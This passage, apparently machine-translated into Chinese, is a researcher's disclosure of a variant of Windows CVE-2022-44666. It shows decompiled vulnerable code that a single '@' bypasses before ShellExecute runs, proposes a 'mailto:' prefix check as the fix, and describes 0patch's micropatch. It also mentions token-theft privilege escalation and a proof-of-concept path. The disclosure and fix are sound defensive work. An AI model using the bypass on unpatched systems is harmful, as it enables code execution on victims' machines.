因此,为了重现,需要安装位于 受信任的根证书颁发机构下的 cert.cer中的证书 ,如下所示 :

为了最终提升特权,可以使用令牌窃取/模拟。 在这种情况下, 选择了 “ 父进程”技术 。 此脚本的修改版本包含在解析器脚本中。
有关更多信息,请观看MS Word 和 LDAP url 协议 的视频 。

位于./bypass/diagcab-pocs 中的概念证明 。
建议修复
记住函数“fnSummaryProc”中的易受攻击代码:
...
LABEL_44:
SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44;
}
}
...
“IsInternetAddress”函数是有意创建的,用于检查 href attr 是否对应于任何电子邮件地址。 所以我建议的修复(并遵循库使用的导入函数)是:
...
if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:"
{
v30 = v23;
goto LABEL_44;
}
...
就这么简单,只需要在调用“SafeExecute”之前检查一下即可。 只是测试目标字符串 (v23) 是否以“mailto:”开头,该错误将完全修复恕我直言。
非官方修复
几天/几周前,当我联系 0patch 的 @mkolsek 通知他这个问题时,顺便说一下,他对我一直很好,告诉我 从那时起 (4 年前),这一直在接受 Windows 7 的非官方修复。 这是一个惊喜和好消息!
它经过测试并成功阻止了 CVE-2022-44666 的新变种。 如果不是以“mailto:”、“http://”或“https://”开头,微补丁会在 href attr 传递的攻击者控制的字符串前面加上“http://”,这足以完全解决问题。 现在它将扩展到最新的 Windows 版本,只需要更新一些偏移量。

无论哪种方式,最好获得官方补丁。
致谢
- @hyp3rlinx :特别鸣谢和致谢,因为他几年前就开始了这项研究,他的工作对这篇文章至关重要。 ~他也应该因发现这一点而受到赞誉,但不幸的是我无法及时联系他~ . 它已经完成( 更新 2023/02/08 )。
- @Edu_Braun_0day :也解决了 这个问题 。
- @mkolsek 。
- @马塔拉兹 。
- @buffaloverflow 。
- @msftsecresponse 。
- …
通过 @j00sean